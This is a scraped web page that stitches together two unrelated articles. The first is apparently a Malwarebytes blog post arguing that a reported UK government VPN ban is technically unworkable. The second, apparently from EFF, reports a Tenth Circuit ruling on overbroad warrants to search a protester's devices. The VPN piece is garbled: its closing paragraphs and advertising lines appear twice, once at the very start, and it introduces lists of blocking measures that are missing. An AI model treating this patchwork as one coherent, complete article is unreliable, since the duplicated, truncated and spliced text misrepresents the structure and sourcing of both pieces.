The government can probably make consumer VPN use slightly more inconvenient, removing apps from UK app stores, for instance, or creating legal grey areas for certain uses. But a genuine, technical ban on VPN software and encrypted connections is not realistically achievable without causing serious collateral damage to the UK’s digital economy and the millions of people who depend on this technology for entirely legitimate reasons.
Don’t ditch your VPN. The Great Firewall of Great Britain isn’t coming. And if it tried, it would have more holes than a fishing net.
Hat tip to Stefan Dasic and the Malwarebytes VPN team for their invaluable input.
We don’t just report on privacy—we offer you the option to use it.
Privacy risks should never spread beyond a headline. Keep your online privacy yours by using Malwarebytes Privacy VPN.
The idea of a “Great British Firewall” makes for a catchy headline, but it would be riddled with holes and cause huge problems.
The Guardian reports that the GCHQ (Government Communications Headquarters), a UK intelligence, security, and cyber agency, is exploring the idea of a British firewall offering protection against malicious hackers. It falls within its remit, but one of the measures reportedly discussed—banning VPN software—raises practical and technical questions.
Here’s what you actually need to know, and why you shouldn’t panic about your VPN just yet.
So what may happen is tighter controls around minors, and perhaps pressure on app stores and platforms, rather than a blanket prohibition for adults.
Technically speaking, these are some of the measures available to address VPNs bypassing geo-blocking and local legislation.
All of these are “making it harder” tactics rather than a hard technical kill switch.
To comprehensively block VPNs, the government would need to require internet providers to inspect traffic, restrict apps from app stores, and attempt to cut off access to thousands of VPN servers worldwide. That would be a massive, expensive, and deeply complicated undertaking—and it still wouldn’t work.
Modern VPNs are designed to look very similar to normal web browsing. When you load a website over HTTPS (the padlock in your browser) and when you connect to a VPN, the traffic flowing through your internet connection looks almost identical. Reliably telling them apart is a bit like trying to spot which cars on a motorway are taxis versus private vehicles based solely on their tire tread patterns at motorway speed, for every car, in real time. You’d end up accidentally blocking huge amounts of perfectly ordinary internet traffic in the attempt.
VPNs aren’t just for privacy-conscious consumers. They’re how millions of people securely connect to their workplace from home. The NHS (the UK’s National Health Service) uses them for remote access. Journalists use them to protect sources. Researchers use them to access academic resources. Any serious enforcement effort would have to grapple with the risk of collateral damage to businesses and public services.
Even if the government successfully blocked every major commercial VPN app and service, technically skilled users could simply rent a cheap server anywhere in the world and set up their own private tunnel in under ten minutes. There are also tools designed to evade exactly this kind of blocking, disguising encrypted traffic as ordinary web activity.
We know this because Russia has been trying to block VPNs for years, using the full weight of state enforcement behind it. But VPN usage in Russia has surged, not declined. Blocked services pop up under new names and addresses and new tools emerge overnight. This track record suggests that long-term, comprehensive suppression is difficult, even with aggressive powers of enforcement.
The government can probably make consumer VPN use slightly more inconvenient, removing apps from UK app stores, for instance, or creating legal grey areas for certain uses. But a genuine, technical ban on VPN software and encrypted connections is not realistically achievable without causing serious collateral damage to the UK’s digital economy and the millions of people who depend on this technology for entirely legitimate reasons.
Don’t ditch your VPN. The Great Firewall of Great Britain isn’t coming. And if it tried, it would have more holes than a fishing net.
Hat tip to Stefan Dasic and the Malwarebytes VPN team for their invaluable input.
We don’t just report on privacy—we offer you the option to use it.
Privacy risks should never spread beyond a headline. Keep your online privacy yours by using Malwarebytes Privacy VPN.
In a big win for protesters’ rights, the U.S. Court of Appeals for the Tenth Circuit overturned a lower court’s dismissal of a challenge to sweeping warrants to search a protester’s devices and digital data and a nonprofit’s social media data.
The case, Armendariz v. City of Colorado Springs, arose after a housing protest in 2021, during which Colorado Springs police arrested protesters for obstructing a roadway. After the demonstration, police also obtained warrants to seize and search through the devices and data of Jacqueline Armendariz Unzueta, who they claimed threw a bike at them during the protest. The warrants included a search through all of her photos, videos, emails, text messages, and location data over a two-month period, as well as a time-unlimited search for 26 keywords, including words as broad as “bike,” “assault,” “celebration,” and “right,” that allowed police to comb through years of Armendariz’s private and sensitive data—all supposedly to look for evidence related to the alleged simple assault. Police further obtained a warrant to search the Facebook page of the Chinook Center, the organization that spearheaded the protest, despite the Chinook Center never having been accused of a crime.
The district court dismissed the civil rights lawsuit brought by Armendariz and the Chinook Center, holding that the searches were justified and that, in any case, the officers were entitled to qualified immunity. The plaintiffs, represented by the ACLU of Colorado, appealed. EFF—joined by the Center for Democracy and Technology, the Electronic Privacy Information Center, and the Knight First Amendment Institute at Columbia University—wrote an amicus brief in support of that appeal.
In a 2-1 opinion, the Tenth Circuit reversed the district court’s dismissal of the lawsuit’s Fourth Amendment search and seizure claims. The court painstakingly picked apart each of the three warrants and found them to be overbroad and lacking in particularity as to the scope and duration of the searches. The court further held that in furnishing such facially deficient warrants, the officers violated “clearly established” law and thus were not entitled to qualified immunity. Although the court did not explicitly address the First Amendment concerns raised by the lawsuit, it did note the backdrop against how these searches were carried out, including animus by Colorado Springs police leading up to the housing protest.
It is rare for appellate courts to call into question any search warrants. It’s even rarer for them to deny qualified immunity defenses. The Tenth Circuit’s decision should be celebrated as a big win for protesters and anyone concerned about police immunity for violating people’s constitutional rights. The case is now remanded back to the district court to proceed—and hopefully further vindicate the privacy rights we all have in our devices and digital data.
